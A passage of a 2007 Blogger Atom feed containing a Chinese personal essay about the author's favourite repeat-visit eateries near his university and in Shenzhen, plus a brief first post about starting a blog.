src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1309660184027365399?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1309660184027365399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1309660184027365399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1309660184027365399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1309660184027365399'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/semarang.html' title='测试贴：Semarang的城市天空'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6JSTY21Fftg/RsFuOf-6E4I/AAAAAAAAAEA/pUQU79J-ejY/s72-c/IMG_6486.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2673141083784644649</id><published>2007-08-13T19:31:00.000+08:00</published><updated>2007-08-13T20:41:20.859+08:00</updated><title type='text'>回头客·回头店</title><content type='html'>文/莹石&lt;br /&gt;&lt;br /&gt;常年飘忽的浪子们，或多或少记忆中都会残留着一些店。这些饭店的饭也许不是同行业最好的，也许卫生条件不达标，但因为去的多了，便有了感情，便有了回头的习惯。我把这样的店面叫做回头店，把这样的浪子叫做回头客。我印象中是有一些回头店的，而我就是一个经常一成不变的回头客。习惯了去一家店便没有理由去尝试下一家。&lt;br /&gt;&lt;br /&gt;桃园村后边有很多店，我在那里盘踞过一段时间。大学的后半截，由于作息的不科学，已经很少到学校食堂里吃饭了，于是经常与小刀一起到桃园村。去的多了，有一家川菜馆，有两家饺子馆，一家面馆。其实那一带的面馆菜馆饺子馆是数不胜数的，但我和小刀很少去尝试别家。&lt;br /&gt;经常听同学说，某家的老板服务态度极差，某家的卫生条件奇差，他们说到的店面，自然无意识的囊括了我和小刀经常光顾的回头店。我和小刀经常当作这些话是耳边风，没有事务是十全十美的，相信我们即使换了另外的店，也一样会有人说它的种种坏话。店面也是如此。我们所逗留的是，回头店给回头客的归宿感，回头客对回头店的亲切感。&lt;br /&gt;&lt;br /&gt;大学毕业后，大家伙逃亡的很有速度。我继续在那一带盘踞了很久。&lt;br /&gt;&lt;br /&gt;某家面馆的老板我记得，有一次他要打烊了，已经开始刷锅，准备把所有的面汤全部倒掉了，我懒洋洋的走过去，然后他认识我，马上给我做了一碗刀削面。在异乡能遇到如此礼遇，尤其是那段艰难岁月，我有些莫名的感动。还有一次，我去的时候赶上高峰期，要面的人比较多，我只是告诉老板我要刀削面，然后就找了个角落坐了下来。每一碗面出锅入碗，总是很多人抢着喊：轮到我了轮到我了。我不喊，我坐在角落里等。但是眼看着隔壁桌子都吃饱离开，我的面迟迟不来。甚至隔壁桌子换了好几茬人，我的面仍然不来。那次大概等了一个多小时，我有股无名火想发脾气，高峰期过后老板才发现角落里的我，于是专门为我下了一锅，那碗面比平时的一碗分量重了很多。我知道他在补偿我，于是没有发作。&lt;br /&gt;&lt;br /&gt;窝了火，人会有一些不自然的举措。在那以后一段时间我没有去这家面馆，少年的负气心理比较好玩。那段时间里我吃了很多家面馆的面，可是每吃过一家便没有想再来的感觉。大概半个月左右，我又情不自禁的走进了那家面馆。&lt;br /&gt;&lt;br /&gt;桃园存入口处后来有一家卖洋芋擦擦的，我从初中开始酷爱吃洋芋擦擦，但是到了大学之后根本没有食堂会做这样的土食物。陡然有这么一家店，自然要光顾一下，这一光顾不要紧，后来几乎成了我的精神寄宿，有时候两顿饭都在这里吃洋芋擦擦。偶尔吃一顿煮挂面，这家的挂面佐料非常可口。这家的老板娘对回头客格外优待，不仅经常给我加饭量，而且算账时也经常少收我的钱。一碗洋芋擦擦2.5，这已经很便宜了，她收钱时把领头砍掉。这更让人有想回头的欲望。&lt;br /&gt;&lt;br /&gt;回头店让人留恋，那个冬季快过年那段时间，我所光顾的回头店都已经关门，老板们都回家过年了，我一个人走遍桃园村，找不到几个可以吃饭的地方。后来落脚在一家情侣店，那是一对年轻的伉俪开的店，做的东西谈不上出众，但是当我看到他们携手奋斗，就感觉有些羡慕。&lt;br /&gt;&lt;br /&gt;到深圳后，同学朋友都在上班，求职的那段时间，我总是睡到中午12：00多起床，到步行街的旺迪快餐店要两个菜，这里的快餐相对来说算便宜了，一个菜五块，我一顿吃两个菜。然后就回到房子一个人呆着，次日复如此。旺迪快餐店和另外一家快餐店接邻，有时候其中一家中午高峰期过去会休息的早一点，这时我无可奈何的选择另一家。我就在旺迪快餐店吃了三个月的快餐，每天吃完快餐呆呆的坐着，望着对面的F1大厦。充满了壮志雄心。&lt;br /&gt;&lt;br /&gt;深蓝数码的隔壁原来是一家川菜馆，名字叫好哥俩，我们的同学都会去，我来深圳的第一餐，梁大带我到好哥俩；李楠来深圳的第一餐，我带她到好哥俩。导师离职时，我们到好哥俩吃饭，晓玉离职时，我们也到好哥俩吃饭。好哥俩几乎成了我们这群人的集中营。有时候一个人光顾好哥俩，却可以碰到很多熟识的朋友。好哥俩的老板娘富有经营意识，经常向我们搞调研，问我公司内网里是否有讨论附近那家店最出色等等。后来我想，我们有时候去好哥俩并不是因为它的菜做得好，雷龙经常把好哥俩的名字记成好兄弟。也许我们经常来这里的原因就是这个店名，好哥俩几个字透露着一种肝胆义气。虽然未见得这里的人如何的重情重义，但是身在其中，就感觉义气的无形存在。好哥俩，好兄弟。在深圳这个地方，最快乐的事情莫过于与好兄弟把酒言欢，大醉无归。&lt;br /&gt;&lt;br /&gt;当然这里也有一些饺子馆，作为面食为主的北方人，饺子馆总要去尝试一下的。第一家不好。第二家不好，怎么南方人都不会煮饺子一般。后来有一家勉强能吃，就把那里当成了回头店。也是在一个晚风之后黄昏之前，我看到老板娘穿了一件黑色T恤，黑色衣服本来没什么，这年头流行。但是她的T恤的穿法比较独特，独特的让我有了些回忆。我经历过这样一种穿法，我见过用这种穿发穿T恤的人。所有一切都被现实击溃。&lt;br /&gt;&lt;br /&gt;旺迪快餐厅后来被推到重修了，好哥俩后来也不存在了，当他们装潢之后，旺迪快餐厅还是一家快餐厅，好哥俩却变成了一家烤鸭店。但原来的回头店却一直在我们记忆里残留着。&lt;br /&gt;&lt;br /&gt;曾有一段时间我没有去好哥俩，后来再去时，老板娘就问，好久不见你了。我诚惶诚恐的，又渡过了一段艰难岁月。但是我没有直接说，我说，哦，前段时间出差了。生怕她以为我又找了新的回头店。社会是不断变化进步的，饭店竞争是残酷的，总是倒闭，总在创新，但在这么多变故之后，我依然愿意做一个回头客，去光顾能给我归宿感的回头店。&lt;br /&gt;2007年7月20日&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2673141083784644649?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2673141083784644649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2673141083784644649' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2673141083784644649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2673141083784644649'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post_13.html' title='回头客·回头店'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1308878047642982947</id><published>2007-08-12T18:51:00.000+08:00</published><updated>2007-08-12T18:53:31.409+08:00</updated><title type='text'>也该开始写博客了</title><content type='html'>几乎所有人都开始写博或者已经写博很久了，作为一个文字写手的我，却很晚才跟风。&lt;br /&gt;从开始这趟旅行开始，注定开始会有许多故事发生。记录下来。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1308878047642982947?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1308878047642982947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1308878047642982947'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post.html' title='也该开始写博客了'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
